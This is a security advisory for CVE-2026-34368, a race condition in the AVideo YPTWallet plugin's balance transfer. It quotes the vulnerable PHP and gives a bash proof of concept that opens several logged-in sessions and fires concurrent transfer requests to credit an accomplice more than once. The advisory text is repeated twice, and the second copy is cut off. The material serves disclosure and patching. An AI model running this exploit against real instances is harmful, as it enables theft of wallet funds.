CVE-2026-34368

WWBN AVideo is an open source video platform. In versions up to and including 26.0, the transferBalance() method in plugin/YPTWallet/YPTWallet.php contains a Time-of-Check-Time-of-Use (TOCTOU) race condition. The method reads the sender's wallet balance, checks sufficiency in PHP, then writes the new balance — all without database transactions or row-level locking. An attacker with multiple authenticated sessions can send concurrent transfer requests that all read the same stale balance, each passing the balance check independently, resulting in only one deduction being applied while the recipient is credited multiple times. Commit 34132ad5159784bfc7ba0d7634bb5c79b769202d contains a fix.

WWBN AVideo is an open source video platform. In versions up to and including 26.0, the transferBalance() method in plugin/YPTWallet/YPTWallet.php contains a Time-of-Check-Time-of-Use (TOCTOU) race condition. The method reads the sender's wallet balance, checks sufficiency in PHP, then writes the new balance — all without database transactions or row-level locking. An attacker with multiple authenticated sessions can send concurrent transfer requests that all read the same stale balance, each passing the balance check independently, resulting in only one deduction being applied while the recipient is credited multiple times. Commit 34132ad5159784bfc7ba0d7634bb5c79b769202d contains a fix.

Summary

The transferBalance() method in plugin/YPTWallet/YPTWallet.php contains a Time-of-Check-Time-of-Use (TOCTOU) race condition. The method reads the sender's wallet balance, checks sufficiency in PHP, then writes the new balance — all without database transactions or row-level locking. An attacker with multiple authenticated sessions can send concurrent transfer requests that all read the same stale balance, each passing the balance check independently, resulting in only one deduction being applied while the recipient is credited multiple times.

Details

The vulnerable code path in plugin/YPTWallet/YPTWallet.php:450-517:

// Line 473-474: READ - fetch current balance (plain SELECT, no FOR UPDATE)
$senderWallet = self::getWallet($fromUserId);
$senderBalance = $senderWallet->getBalance();
$senderNewBalance = $senderBalance - $amount;

// Line 477: CHECK - verify sufficient funds in PHP
if ($senderNewBalance < 0) {
    return false;
}

// Line 486-487: WRITE - set new balance (plain UPDATE)
$senderWallet->setBalance($senderNewBalance);
$senderWalletId = $senderWallet->save();

// Line 497-502: Credit receiver (also plain SELECT + UPDATE)
$receiverWallet = self::getWallet($toUserId);
$receiverBalance = $receiverWallet->getBalance();
$receiverNewBalance = $receiverBalance + $amount;
$receiverWallet->setBalance($receiverNewBalance);
$receiverWalletId = $receiverWallet->save();

The getWallet() method (YPTWallet.php:244) calls Wallet::getFromUser() (Wallet.php:69-84) which executes a plain SELECT * FROM wallet WHERE users_id = $users_id with no FOR UPDATE clause. The save() method (Wallet.php:105) calls ObjectYPT::save() (Object.php:293) which executes a plain UPDATE — no transaction wrapping.

Race window: Between the SELECT (step 1) and UPDATE (step 3), all concurrent requests see the same original balance. Each independently computes original - amount, passes the check, and writes back. The last writer wins for the sender (only one deduction effective), but the receiver gets credited once per request.

Why concurrent requests succeed: PHP's file-based session locking serializes requests per session. However, an attacker can create multiple login sessions (different PHPSESSID cookies) for the same user account. Each session has its own lock and can execute concurrently. Each session needs its own captcha, but the captcha validation in objects/captcha.php:58-73 compares $_SESSION['palavra'] without unsetting it after validation, allowing unlimited reuse within each session.

Entry point: plugin/YPTWallet/view/transferFunds.json.php:39 calls YPTWallet::transferBalance(User::getId(), $_POST['users_id'], $_POST['value']) — requires only User::isLogged() and a valid captcha.

PoC

# Prerequisites: Attacker has a registered account with $10 wallet balance
# Accomplice has a registered account (recipient)

TARGET="https://target-avideo-instance"
ACCOMPLICE_ID=123  # recipient user ID

# Step 1: Create 5 independent sessions for the same attacker account
declare -a SESSIONS
declare -a CAPTCHA_ANSWERS

for i in $(seq 1 5); do
  # Login and capture session cookie
  COOKIE=$(curl -s -c - "$TARGET/objects/login.json.php" \
    -d 'user=attacker&pass=attackerpass' | grep PHPSESSID | awk '{print $NF}')
  
  # Load captcha to populate $_SESSION['palavra']
  curl -s -b "PHPSESSID=$COOKIE" "$TARGET/objects/captcha.php" -o "captcha_$i.png"
  
  SESSIONS[$i]=$COOKIE
  echo "Session $i: $COOKIE — solve captcha_$i.png manually"
done

# Step 2: After solving captchas, fire all 5 transfer requests simultaneously
# Each requests $10 transfer — all will read balance=$10 concurrently
for i in $(seq 1 5); do
  curl -s -b "PHPSESSID=${SESSIONS[$i]}" \
    "$TARGET/plugin/YPTWallet/view/transferFunds.json.php" \
    -d "users_id=$ACCOMPLICE_ID&value=10&captcha=${CAPTCHA_ANSWERS[$i]}" &
done
wait

# Expected result:
# - Attacker balance: $0 (last write wins, sets…

WWBN AVideo is an open source video platform. In versions up to and including 26.0, the transferBalance() method in plugin/YPTWallet/YPTWallet.php contains a Time-of-Check-Time-of-Use (TOCTOU) race condition. The method reads the sender's wallet balance, checks sufficiency in PHP, then writes the new balance — all without database transactions or row-level locking. An attacker with multiple authenticated sessions can send concurrent transfer requests that all read the same stale balance, each passing the balance check independently, resulting in only one deduction being applied while the recipient is credited multiple times. Commit 34132ad5159784bfc7ba0d7634bb5c79b769202d contains a fix.

WWBN AVideo is an open source video platform. In versions up to and including 26.0, the transferBalance() method in plugin/YPTWallet/YPTWallet.php contains a Time-of-Check-Time-of-Use (TOCTOU) race condition. The method reads the sender's wallet balance, checks sufficiency in PHP, then writes the new balance — all without database transactions or row-level locking. An attacker with multiple authenticated sessions can send concurrent transfer requests that all read the same stale balance, each passing the balance check independently, resulting in only one deduction being applied while the recipient is credited multiple times. Commit 34132ad5159784bfc7ba0d7634bb5c79b769202d contains a fix.

Summary

The transferBalance() method in plugin/YPTWallet/YPTWallet.php contains a Time-of-Check-Time-of-Use (TOCTOU) race condition. The method reads the sender's wallet balance, checks sufficiency in PHP, then writes the new balance — all without database transactions or row-level locking. An attacker with multiple authenticated sessions can send concurrent transfer requests that all read the same stale balance, each passing the balance check independently, resulting in only one deduction being applied while the recipient is credited multiple times.

Details

The vulnerable code path in plugin/YPTWallet/YPTWallet.php:450-517:

// Line 473-474: READ - fetch current balance (plain SELECT, no FOR UPDATE)
$senderWallet = self::getWallet($fromUserId);
$senderBalance = $senderWallet->getBalance();
$senderNewBalance = $senderBalance - $amount;

// Line 477: CHECK - verify sufficient funds in PHP
if ($senderNewBalance < 0) {
    return false;
}

// Line 486-487: WRITE - set new balance (plain UPDATE)
$senderWallet->setBalance($senderNewBalance);
$senderWalletId = $senderWallet->save();

// Line 497-502: Credit receiver (also plain SELECT + UPDATE)
$receiverWallet = self::getWallet($toUserId);
$receiverBalance = $receiverWallet->getBalance();
$receiverNewBalance = $receiverBalance + $amount;
$receiverWallet->setBalance($receiverNewBalance);
$receiverWalletId = $receiverWallet->save();

The getWallet() method (YPTWallet.php:244) calls Wallet::getFromUser() (Wallet.php:69-84) which executes a plain SELECT * FROM wallet WHERE users_id = $users_id with no FOR UPDATE clause. The save() method (Wallet.php:105) calls ObjectYPT::save() (Object.php:293) which executes a plain UPDATE — no transaction wrapping.

Race window: Between the SELECT (step 1) and UPDATE (step 3), all concurrent requests see the same original balance. Each independently computes original - amount, passes the check, and writes back. The last writer wins for the sender (only one deduction effective), but the receiver gets credited once per request.

Why concurrent requests succeed: PHP's file-based session locking serializes requests per session. However, an attacker can create multiple login sessions (different PHPSESSID cookies) for the same user account. Each session has its own lock and can execute concurrently. Each session needs its own captcha, but the captcha validation in objects/captcha.php:58-73 compares $_SESSION['palavra'] without unsetting it after validation, allowing unlimited reuse within each session.

Entry point: plugin/YPTWallet/view/transferFunds.json.php:39 calls YPTWallet::transferBalance(User::getId(), $_POST['users_id'], $_POST['value']) — requires only User::isLogged() and a valid captcha.

PoC

# Prerequisites: Attacker has a registered account with $10 wallet balance
# Accomplice has a registered account (recipient)

TARGET="https://target-avideo-instance"
ACCOMPLICE_ID=123  # recipient user ID

# Step 1: Create 5 independent sessions for the same attacker account
declare -a SESSIONS
declare -a CAPTCHA_ANSWERS

for i in $(seq 1 5); do
  # Login and capture session cookie
  COOKIE=$(curl -s -c - "$TARGET/objects/login.json.php" \
    -d 'user=attacker&pass=attackerpass' | grep PHPSESSID | awk '{print $NF}')
  
  # Load captcha to populate $_SESSION['palavra']
  curl -s -b "PHPSESSID=$COOKIE" "$TARGET/objects/captcha.php" -o "captcha_$i.png"
  
  SESSIONS[$i]=$COOKIE
  echo "Session $i: $COOKIE — solve captcha_$i.png manually"
done

# Step 2: After solving captchas, fire all 5 transfer requests simultaneously
# Each requests $10 transfer — all will read balance=$10 concurrently
for i in $(seq 1 5); do
  curl -s -b "PHPSESSID=${SESSIONS[$i]}" \
    "$TARGET/plugin/YPTWallet/view/transferFunds.json.php" \
    -d "users_id=$ACCOMPLICE_ID&value=10&captcha=${CAPTCHA_ANSWERS[$i]}" &
done
wait

# Expected result:
# - Attacker balance: $0 (last write wins, sets…